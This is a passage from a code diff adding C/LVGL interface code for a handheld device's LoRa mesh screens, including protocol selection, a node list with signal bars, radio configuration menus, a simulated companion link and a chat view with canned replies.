LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(HDR_RULE_W_PCT), HDR_RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, HDR_RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, 1, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); +} + +static lv_obj_t *make_badge_icon(lv_obj_t *parent, const char *path) { + lv_obj_t *badge = lv_obj_create(parent); + lv_obj_remove_flag(badge, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(badge, BADGE_SIZE, BADGE_SIZE); + lv_obj_set_style_radius(badge, 8, 0); + lv_obj_set_style_pad_all(badge, 0, 0); + lv_obj_set_style_bg_color(badge, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(badge, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(badge, 1, 0); + lv_obj_set_style_border_color(badge, current_theme.border_accent, 0); + + lv_image_dsc_t *dsc = assets_get(path); + if (dsc != NULL) { + lv_obj_t *img = lv_image_create(badge); + lv_image_set_src(img, dsc); + int32_t longest = dsc->header.w > dsc->header.h ? dsc->header.w : dsc->header.h; + if (longest > 0) + lv_image_set_scale(img, BADGE_ICON_PX * 256 / longest); + lv_obj_set_style_image_recolor(img, current_theme.text_main, 0); + lv_obj_set_style_image_recolor_opa(img, LV_OPA_COVER, 0); + lv_obj_center(img); + } + return badge; +} + +static void style_proto_card(lv_obj_t *card, bool selected) { + if (selected) { + lv_obj_set_style_border_width(card, 2, 0); + lv_obj_set_style_border_color(card, current_theme.border_accent, 0); + lv_obj_set_style_shadow_color(card, current_theme.border_accent, 0); + lv_obj_set_style_shadow_width(card, CARD_SHADOW_W, 0); + lv_obj_set_style_shadow_opa(card, LV_OPA_30, 0); + } else { + lv_obj_set_style_border_width(card, 1, 0); + lv_obj_set_style_border_color(card, current_theme.border_inactive, 0); + lv_obj_set_style_shadow_width(card, 0, 0); + lv_obj_set_style_shadow_opa(card, LV_OPA_TRANSP, 0); + } +} + +static lv_obj_t *make_proto_card(int idx) { + lv_obj_t *card = lv_obj_create(s_screen); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(card, PROTO_CARD_W, PROTO_CARD_H); + lv_obj_set_style_radius(card, PROTO_CARD_RADIUS, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(card, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_pad_all(card, PROTO_CARD_PAD, 0); + lv_obj_set_flex_flow(card, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(card, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(card, PROTO_CARD_PAD, 0); + + make_badge_icon(card, PROTO_ICONS[idx]); + + lv_obj_t *txt = lv_obj_create(card); + lv_obj_remove_flag(txt, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(txt, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(txt, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(txt, 0, 0); + lv_obj_set_style_pad_all(txt, 0, 0); + lv_obj_set_flex_flow(txt, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_grow(txt, 1); + + lv_obj_t *nm = lv_label_create(txt); + lv_label_set_text(nm, PROTOS[idx]); + lv_obj_set_style_text_color(nm, current_theme.text_main, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_14, 0); + + lv_obj_t *sub = lv_label_create(txt); + lv_label_set_text(sub, PROTO_TAGS[idx]); + lv_obj_set_style_text_color(sub, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + + style_proto_card(card, idx == s_proto_sel); + return card; +} + +static void style_home_row(lv_obj_t *row, int idx, bool selected) { + bool linked_row = (idx == 0 && s_linked); + lv_color_t accent = linked_row ? lv_color_hex(SIG_GREEN) : current_theme.border_accent; + if (selected) { + lv_obj_set_style_border_width(row, 2, 0); + lv_obj_set_style_border_color(row, accent, 0); + lv_obj_set_style_shadow_color(row, accent, 0); + lv_obj_set_style_shadow_width(row, CARD_SHADOW_W, 0); + lv_obj_set_style_shadow_opa(row, LV_OPA_30, 0); + } else { + lv_obj_set_style_border_width(row, 1, 0); + lv_obj_set_style_border_color( + row, linked_row ? lv_color_hex(SIG_GREEN) : current_theme.border_inactive, 0); + lv_obj_set_style_shadow_width(row, 0, 0); + lv_obj_set_style_shadow_opa(row, LV_OPA_TRANSP, 0); + } +} + +static lv_obj_t *make_home_row(int idx) { + bool linked_row = (idx == 0 && s_linked); + lv_obj_t *row = lv_obj_create(s_screen); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(row, HOME_ROW_W, HOME_ROW_H); + lv_obj_set_style_radius(row, HOME_ROW_RADIUS, 0); + lv_obj_set_style_bg_color(row, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(row, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(row, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(row, LV_OPA_COVER, 0); + lv_obj_set_style_pad_all(row, HOME_ROW_PAD, 0); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(row, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(row, HOME_ROW_PAD, 0); + + make_badge_icon(row, HOME_ICONS[idx]); + + lv_obj_t *txt = lv_obj_create(row); + lv_obj_remove_flag(txt, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(txt, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(txt, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(txt, 0, 0); + lv_obj_set_style_pad_all(txt, 0, 0); + lv_obj_set_flex_flow(txt, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_grow(txt, 1); + + lv_obj_t *nm = lv_label_create(txt); + lv_label_set_text(nm, HOME_ITEMS[idx]); + lv_obj_set_style_text_color( + nm, linked_row ? lv_color_hex(SIG_GREEN) : current_theme.text_main, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_14, 0); + + lv_obj_t *sub = lv_label_create(txt); + lv_label_set_text(sub, linked_row ? "Companion linked" : HOME_TAGS[idx]); + lv_obj_set_style_text_color( + sub, linked_row ? lv_color_hex(SIG_GREEN) : current_theme.border_inactive, 0); + lv_obj_set_style_text_opa(sub, linked_row ? LV_OPA_70 : LV_OPA_COVER, 0); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + + if (idx == 0 && s_linked) { + lv_obj_t *chk = lv_label_create(row); + lv_label_set_text(chk, LV_SYMBOL_OK); + lv_obj_set_style_text_color(chk, lv_color_hex(SIG_GREEN), 0); + lv_obj_set_style_text_font(chk, &lv_font_montserrat_14, 0); + } + + style_home_row(row, idx, idx == s_home_sel); + return row; +} + +static void rssi_bars(char *out, size_t n, int rssi) { + int lvl = 0; + if (rssi >= -55) + lvl = 4; + else if (rssi >= -70) + lvl = 3; + else if (rssi >= -85) + lvl = 2; + else + lvl = 1; + char buf[5] = "...."; + for (int i = 0; i < lvl && i < 4; i++) + buf[i] = '|'; + buf[4] = '\0'; + snprintf(out, n, "%s", buf); +} + +static void build_title(const char *text) { + lv_obj_t *t = lv_label_create(s_screen); + lv_label_set_text(t, text); + lv_obj_set_style_text_color(t, current_theme.border_accent, 0); + lv_obj_set_style_text_font(t, &lv_font_montserrat_14, 0); + lv_obj_align(t, LV_ALIGN_TOP_MID, 0, 12); +} + +static void offset_items_below_strip(int strip_h) { + const int items_y0 = 50; + int new_y = items_y0 + strip_h; + int new_h = LCD_V_RES - new_y - 8 - MENU_COMP_FOOTER_H; + if (new_h < 40) + new_h = 40; + lv_obj_set_align(s_menu.items_cont, LV_ALIGN_TOP_LEFT); + lv_obj_set_y(s_menu.items_cont, new_y); + lv_obj_set_height(s_menu.items_cont, new_h); +} + +static void add_bubble(bool outgoing, const char *who, const char *text) { + if (s_chat_list == NULL) + return; + lv_obj_t *row = lv_obj_create(s_chat_list); + lv_obj_set_width(row, LV_PCT(100)); + lv_obj_set_height(row, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(row, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(row, 0, 0); + lv_obj_set_style_pad_all(row, 2, 0); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(row, + LV_FLEX_ALIGN_START, + outgoing ? LV_FLEX_ALIGN_END : LV_FLEX_ALIGN_START, + LV_FLEX_ALIGN_START); + + lv_obj_t *b = lv_label_create(row); + lv_label_set_long_mode(b, LV_LABEL_LONG_WRAP); + lv_obj_set_style_max_width(b, 184, 0); + lv_obj_set_style_pad_all(b, 7, 0); + lv_obj_set_style_radius(b, 9, 0); + lv_obj_set_style_bg_opa(b, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(b, outgoing ? lv_color_hex(0x0A6B57) : current_theme.bg_secondary, 0); + lv_obj_set_style_border_width(b, 1, 0); + lv_obj_set_style_border_color( + b, outgoing ? lv_color_hex(SIG_GREEN) : current_theme.border_interface, 0); + if (outgoing) + lv_obj_set_style_radius(b, 2, LV_PART_MAIN | LV_STATE_DEFAULT); + lv_obj_set_style_text_color(b, current_theme.text_main, 0); + lv_obj_set_style_text_font(b, &lv_font_montserrat_12, 0); + + if (outgoing) { + lv_label_set_text(b, text); + } else { + char line[160]; + snprintf(line, sizeof(line), "%s\n%s", who, text); + lv_label_set_text(b, line); + } + + lv_obj_t *ts = lv_label_create(row); + lv_label_set_text_fmt(ts, "12:0%d", s_msg_clock % 10); + s_msg_clock++; + lv_obj_set_style_text_color(ts, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(ts, &lv_font_montserrat_12, 0); + lv_obj_set_style_pad_hor(ts, 4, 0); + + lv_obj_scroll_to_view(b, LV_ANIM_ON); +} + +static lv_obj_t *add_typing_bubble(const char *who) { + if (s_chat_list == NULL) + return NULL; + lv_obj_t *row = lv_obj_create(s_chat_list); + lv_obj_set_width(row, LV_PCT(100)); + lv_obj_set_height(row, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(row, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(row, 0, 0); + lv_obj_set_style_pad_all(row, 2, 0); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(row, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START); + + lv_obj_t *bubble = lv_obj_create(row); + lv_obj_remove_flag(bubble, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(bubble, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_max_width(bubble, TYPING_MAX_WIDTH, 0); + lv_obj_set_style_pad_all(bubble, TYPING_PAD, 0); + lv_obj_set_style_radius(bubble, TYPING_RADIUS, 0); + lv_obj_set_style_bg_opa(bubble, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(bubble, current_theme.bg_secondary, 0); + lv_obj_set_style_border_width(bubble, 1, 0); + lv_obj_set_style_border_color(bubble, current_theme.border_interface, 0); + lv_obj_set_flex_flow(bubble, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(bubble, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(bubble, RSSI_BAR_GAP, 0); + + lv_obj_t *tag = lv_label_create(bubble); + lv_label_set_text(tag, who); + lv_obj_set_style_text_color(tag, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(tag, &lv_font_montserrat_12, 0); + + for (int i = 0; i < PULSE_DOT_COUNT; i++) { + lv_obj_t *dot = lv_obj_create(bubble); + lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(dot, PULSE_DOT_SIZE, PULSE_DOT_SIZE); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(dot, 0, 0); + lv_obj_set_style_bg_color(dot, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, dot); + lv_anim_set_values(&a, LV_OPA_20, LV_OPA_COVER); + lv_anim_set_duration(&a, PULSE_DOT_MS); + lv_anim_set_playback_duration(&a, PULSE_DOT_MS); + lv_anim_set_delay(&a, i * PULSE_DOT_STAGGER); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_set_exec_cb(&a, anim_opa_cb); + lv_anim_start(&a); + } + + lv_obj_scroll_to_view(bubble, LV_ANIM_ON); + return row; +} + +static void reply_cb(lv_timer_t *t) { + (void)t; + s_reply_timer = NULL; + if (lv_screen_active() != s_screen || s_view != VIEW_CHAT) + return; + if (s_typing_row != NULL) { + lv_obj_del(s_typing_row); + s_typing_row = NULL; + s_msg_clock--; + } + add_bubble(false, NODES[s_node].name, REPLIES[s_reply_i % REPLY_COUNT]); + s_reply_i++; +} + +static void on_kb_submit(const char *text, void *user_data) { + (void)user_data; + if (text == NULL || text[0] == '\0' || s_view != VIEW_CHAT) + return; + add_bubble(true, NULL, text); + if (s_reply_timer != NULL) + lv_timer_delete(s_reply_timer); + if (s_typing_row != NULL) { + lv_obj_del(s_typing_row); + s_msg_clock--; + } + s_typing_row = add_typing_bubble(NODES[s_node].name); + s_reply_timer = lv_timer_create(reply_cb, TYPING_LIFETIME_MS, NULL); + lv_timer_set_repeat_count(s_reply_timer, 1); +} + +static void status_dots_cb(void *var, int32_t v) { + lv_obj_t *label = (lv_obj_t *)var; + static const char *DOTS[] = {"", ".", "..", "..."}; + int n = (int)v; + if (n < 0) + n = 0; + if (n > DOTS_MAX) + n = DOTS_MAX; + char buf[40]; + snprintf(buf, sizeof(buf), "%s%s", PHASES[s_phase], DOTS[n]); + lv_label_set_text(label, buf); +} + +static void phase_step_cb(lv_timer_t *t) { + (void)t; + if (lv_screen_active() != s_screen || s_view != VIEW_CONNECT) { + if (s_phase_timer != NULL) { + lv_timer_delete(s_phase_timer); + s_phase_timer = NULL; + } + return; + } + if (s_phase < PHASE_COUNT - 1) + s_phase++; + if (s_phase >= PHASE_COUNT - 1 && s_phase_timer != NULL) { + lv_timer_delete(s_phase_timer); + s_phase_timer = NULL; + } +} + +static void connect_done_cb(lv_timer_t *t) { + (void)t; + s_connect_timer = NULL; + if (lv_screen_active() != s_screen || s_view != VIEW_CONNECT) + return; + s_linked = true; + build_screen(); +} + +static lv_obj_t *make_device_card(lv_obj_t *parent, bool linked) { + lv_obj_t *card = lv_obj_create(parent); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(card, 196, 60); + lv_obj_set_style_radius(card, 12, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(card, 1, 0); + lv_obj_set_style_border_color( + card, linked ? lv_color_hex(SIG_GREEN) : current_theme.border_interface, 0); + lv_obj_set_style_pad_all(card, 8, 0); + lv_obj_set_flex_flow(card, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(card, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(card, 8, 0); + + lv_obj_t *ic = make_icon(card, ICON_BT, 256); + if (ic == NULL) { + lv_obj_t *g = lv_label_create(card); + lv_label_set_text(g, LV_SYMBOL_BLUETOOTH); + lv_obj_set_style_text_color(g, current_theme.border_accent, 0); + lv_obj_set_style_text_font(g, &lv_font_montserrat_16, 0); + } + + lv_obj_t *txt = lv_obj_create(card); + lv_obj_remove_flag(txt, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(txt, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_style_bg_opa(txt, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(txt, 0, 0); + lv_obj_set_style_pad_all(txt, 0, 0); + lv_obj_set_flex_flow(txt, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_grow(txt, 1); + + lv_obj_t *nm = lv_label_create(txt); + lv_label_set_text(nm, "HighBoy Companion"); + lv_obj_set_style_text_color(nm, current_theme.text_main, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_14, 0); + + lv_obj_t *sub = lv_label_create(txt); + lv_label_set_text(sub, "v1.2 · BLE"); + lv_obj_set_style_text_color(sub, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(sub, &lv_font_montserrat_12, 0); + return card; +} + +static void build_connect(void) { + ui_chrome_header(s_screen, PROTOS[s_proto], ICON_RADAR); + + if (!s_linked) { + s_phase = 0; + s_status_label = lv_label_create(s_screen); + lv_label_set_text(s_status_label, PHASES[s_phase]); + lv_obj_set_style_text_color(s_status_label, current_theme.text_main, 0); + lv_obj_set_style_text_font(s_status_label, &lv_font_montserrat_14, 0); + lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, STATUS_Y_OFS); + + lv_anim_t ad; + lv_anim_init(&ad); + lv_anim_set_var(&ad, s_status_label); + lv_anim_set_exec_cb(&ad, status_dots_cb); + lv_anim_set_values(&ad, 0, DOTS_MAX); + lv_anim_set_duration(&ad, DOTS_STEP_MS * DOTS_MAX); + lv_anim_set_repeat_count(&ad, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&ad); + + waves_create(s_screen, LV_ALIGN_CENTER, 0, -4, LV_SYMBOL_BLUETOOTH, ICON_BT); + + lv_obj_t *card = make_device_card(s_screen, false); + lv_obj_align(card, LV_ALIGN_CENTER, 0, CARD_Y_OFS); + + s_phase_timer = lv_timer_create(phase_step_cb, PHASE_STEP_MS, NULL); + + s_connect_timer = lv_timer_create(connect_done_cb, CONNECT_MS, NULL); + lv_timer_set_repeat_count(s_connect_timer, 1); + } else { + lv_obj_t *node = lv_obj_create(s_screen); + lv_obj_remove_flag(node, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(node, 64, 64); + lv_obj_align(node, LV_ALIGN_CENTER, 0, -40); + lv_obj_set_style_radius(node, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_color(node, lv_color_hex(SIG_GREEN), 0); + lv_obj_set_style_bg_opa(node, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(node, 0, 0); + lv_obj_t *chk = lv_label_create(node); + lv_label_set_text(chk, LV_SYMBOL_OK); + lv_obj_set_style_text_color(chk, lv_color_hex(0x05130E), 0); + lv_obj_set_style_text_font(chk, &lv_font_montserrat_16, 0); + lv_obj_center(chk); + + lv_obj_t *st = lv_label_create(s_screen); + lv_label_set_text(st, "Companion linked!"); + lv_obj_set_style_text_color(st, lv_color_hex(SIG_GREEN), 0); + lv_obj_set_style_text_font(st, &lv_font_montserrat_14, 0); + lv_obj_align(st, LV_ALIGN_CENTER, 0, 8); + + lv_obj_t *card = make_device_card(s_screen, true); + lv_obj_align(card, LV_ALIGN_CENTER, 0, 56); + } + + ui_chrome_footer(s_screen, "BACK to exit"); +} + +static void build_chat(void) { + s_msg_clock = 0; + + lv_obj_t *hdr = lv_obj_create(s_screen); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(hdr, LV_PCT(100), 28); + lv_obj_align(hdr, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_set_style_bg_color(hdr, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(hdr, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(hdr, 1, 0); + lv_obj_set_style_border_color(hdr, current_theme.border_interface, 0); + lv_obj_set_style_border_side(hdr, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_style_radius(hdr, 0, 0); + + lv_obj_t *dot = lv_obj_create(hdr); + lv_obj_remove_flag(dot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(dot, 8, 8); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(dot, 0, 0); + lv_obj_set_style_bg_color(dot, lv_color_hex(SIG_GREEN), 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_align(dot, LV_ALIGN_LEFT_MID, 8, 0); + + lv_obj_t *nm = lv_label_create(hdr); + lv_label_set_text_fmt(nm, LV_SYMBOL_LEFT " %s", NODES[s_node].name); + lv_obj_set_style_text_color(nm, current_theme.text_main, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_14, 0); + lv_obj_align(nm, LV_ALIGN_LEFT_MID, 22, 0); + + lv_obj_t *sig = lv_label_create(hdr); + lv_label_set_text_fmt(sig, "%ddBm", NODES[s_node].rssi); + lv_obj_set_style_text_color( + sig, NODES[s_node].strong ? lv_color_hex(SIG_GREEN) : current_theme.border_inactive, 0); + lv_obj_set_style_text_font(sig, &lv_font_montserrat_12, 0); + lv_obj_align(sig, LV_ALIGN_RIGHT_MID, -8, 0); + + s_chat_list = lv_obj_create(s_screen); + lv_obj_set_size(s_chat_list, LV_PCT(100), LV_PCT(70)); + lv_obj_align(s_chat_list, LV_ALIGN_TOP_MID, 0, 32); + lv_obj_set_style_bg_opa(s_chat_list, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_chat_list, 0, 0); + lv_obj_set_style_pad_all(s_chat_list, 4, 0); + lv_obj_set_flex_flow(s_chat_list, LV_FLEX_FLOW_COLUMN); + + add_bubble(false, NODES[s_node].name, "Hey, you on the mesh?"); + add_bubble(true, NULL, "Yep, reading you 5/5."); + add_bubble(false, NODES[s_node].name, "Signal's solid here."); + + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, LV_SYMBOL_KEYBOARD " OK write BACK nodes"); + lv_obj_set_style_text_color(hint, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -4); +} + +static void build_proto_view(void) { + s_proto_sel = s_proto; + lora_accent_header("LORA MESH", "Select a network"); + for (int i = 0; i < PROTO_COUNT; i++) { + s_proto_cards[i] = make_proto_card(i); + lv_obj_align(s_proto_cards[i], LV_ALIGN_TOP_MID, 0, i == 0 ? PROTO_CARD0_Y : PROTO_CARD1_Y); + } + + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, LV_SYMBOL_UP LV_SYMBOL_DOWN " choose OK enter BACK exit"); + lv_obj_set_style_text_color(hint, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -6); +} + +static void build_home_view(void) { + lora_accent_header(PROTOS[s_proto], s_linked ? "Mesh online" : "Standalone"); + + lv_obj_t *pill = make_status_pill(s_screen, s_linked); + lv_obj_align(pill, LV_ALIGN_TOP_RIGHT, -10, 8); + + lv_obj_t *info = lv_label_create(s_screen); + lv_label_set_text_fmt(info, + LV_SYMBOL_GPS " CH %s · %s · %s", + OPT_CHAN[s_cfg_chan], + OPT_REGION[s_cfg_region], + OPT_PRESET[s_cfg_preset]); + lv_obj_set_style_text_color(info, current_theme.text_main, 0); + lv_obj_set_style_text_opa(info, LV_OPA_70, 0); + lv_obj_set_style_text_font(info, &lv_font_montserrat_12, 0); + lv_obj_align(info, LV_ALIGN_TOP_MID, 0, HOME_INFO_Y); + + for (int i = 0; i < HOME_COUNT; i++) { + s_home_rows[i] = make_home_row(i); + lv_obj_align( + s_home_rows[i], LV_ALIGN_TOP_MID, 0, HOME_ROW0_Y + i * (HOME_ROW_H + HOME_ROW_GAP)); + } + + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, LV_SYMBOL_UP LV_SYMBOL_DOWN " move OK open BACK protocols"); + lv_obj_set_style_text_color(hint, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -6); +} + +static void build_screen(void) { + stop_timers(); + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_chat_list = NULL; + s_status_label = NULL; + s_typing_row = NULL; + for (int i = 0; i < PROTO_COUNT; i++) + s_proto_cards[i] = NULL; + for (int i = 0; i < HOME_COUNT; i++) + s_home_rows[i] = NULL; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + lv_obj_t *fade_target = NULL; + + if (s_view == VIEW_PROTO) { + build_proto_view(); + fade_target = s_screen; + } else if (s_view == VIEW_HOME) { + build_home_view(); + fade_target = s_screen; + } else if (s_view == VIEW_NODES) { + s_menu = menu_component_create(s_screen, "NODES", "/assets/icons/node_icon.bin"); + for (int i = 0; i < NODE_COUNT; i++) { + char bars[8]; + char row[48]; + rssi_bars(bars, sizeof(bars), NODES[i].rssi); + snprintf(row, sizeof(row), "%s %s %ddBm", NODES[i].name, bars, NODES[i].rssi); + menu_component_add_item(&s_menu, ICON_NODES, row); + if (NODES[i].strong) + menu_component_set_item_label_color(&s_menu, i, lv_color_hex(SIG_GREEN)); + } + int online = 0; + for (int i = 0; i < NODE_COUNT; i++) + if (NODES[i].strong) + online++; + lv_obj_t *note = lv_label_create(s_screen); + lv_label_set_text_fmt(note, LV_SYMBOL_GPS " %d / %d nodes online", online, NODE_COUNT); + lv_obj_set_style_text_color(note, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(note, &lv_font_montserrat_12, 0); + lv_obj_set_align(note, LV_ALIGN_TOP_LEFT); + lv_obj_set_pos(note, 12, 52); + offset_items_below_strip(24); + fade_target = s_menu.items_cont; + } else if (s_view == VIEW_CONFIGS) { + s_menu = menu_component_create(s_screen, "CONFIGS", "/assets/icons/config_icon.bin"); + menu_component_add_selector(&s_menu, ICON_CONFIG, "Region", OPT_REGION[s_cfg_region]); + menu_component_add_selector(&s_menu, ICON_CONFIG, "Channel", OPT_CHAN[s_cfg_chan]); + menu_component_add_selector(&s_menu, ICON_CONFIG, "Preset", OPT_PRESET[s_cfg_preset]); + menu_component_add_intensity(&s_menu, ICON_CONFIG, "TX Power", 4); + menu_component_add_toggle(&s_menu, ICON_CONFIG, "Router mode", false); + lv_obj_t *note = lv_label_create(s_screen); + lv_label_set_text(note, LV_SYMBOL_SETTINGS " Radio settings"); + lv_obj_set_style_text_color(note, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(note, &lv_font_montserrat_12, 0); + lv_obj_set_align(note, LV_ALIGN_TOP_LEFT); + lv_obj_set_pos(note, 12, 52); + offset_items_below_strip(24); + fade_target = s_menu.items_cont; + } else if (s_view == VIEW_CONNECT) { + build_connect(); + fade_target = s_screen; + } else { + build_chat(); + fade_target = s_chat_list; + } + + if (fade_target) + lv_obj_fade_in(fade_target, ENTRY_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} + +static void cycle_config(int sel, int dir) { + if (sel == CFG_REGION) { + s_cfg_region = (s_cfg_region + dir + OPT_N(OPT_REGION)) % OPT_N(OPT_REGION); + menu_component_set_selector_value(&s_menu, sel, OPT_REGION[s_cfg_region]); + } else if (sel == CFG_CHAN) { + s_cfg_chan = (s_cfg_chan + dir + OPT_N(OPT_CHAN)) % OPT_N(OPT_CHAN); + menu_component_set_selector_value(&s_menu, sel, OPT_CHAN[s_cfg_chan]); + } else if (sel == CFG_PRESET) { + s_cfg_preset = (s_cfg_preset + dir + OPT_N(OPT_PRESET)) % OPT_N(OPT_PRESET); + menu_component_set_selector_value(&s_menu, sel, OPT_PRESET[s_cfg_preset]); + } else if (sel == CFG_POWER) { + if (dir > 0) + menu_component_intensity_inc(&s_menu, sel); + else + menu_component_intensity_dec(&s_menu, sel); + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + stop_timers(); + return; + } + if (ui_input_is_locked() || keyboard_is_open()) + return; + + bool up = ui_btn_up(), down = ui_btn_down(); + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + switch (s_view) { + case VIEW_PROTO: + if (down && !s_down_last && s_proto_sel < PROTO_COUNT - 1) { + s_proto_sel++; + style_proto_card(s_proto_cards[s_proto_sel - 1], false); + style_proto_card(s_proto_cards[s_proto_sel], true); + } + if (up && !s_up_last && s_proto_sel > 0) { + s_proto_sel--; + style_proto_card(s_proto_cards[s_proto_sel + 1], false); + style_proto_card(s_proto_cards[s_proto_sel], true); + } + if (ok && !s_ok_last) { + s_proto = s_proto_sel; + s_view = VIEW_HOME; + 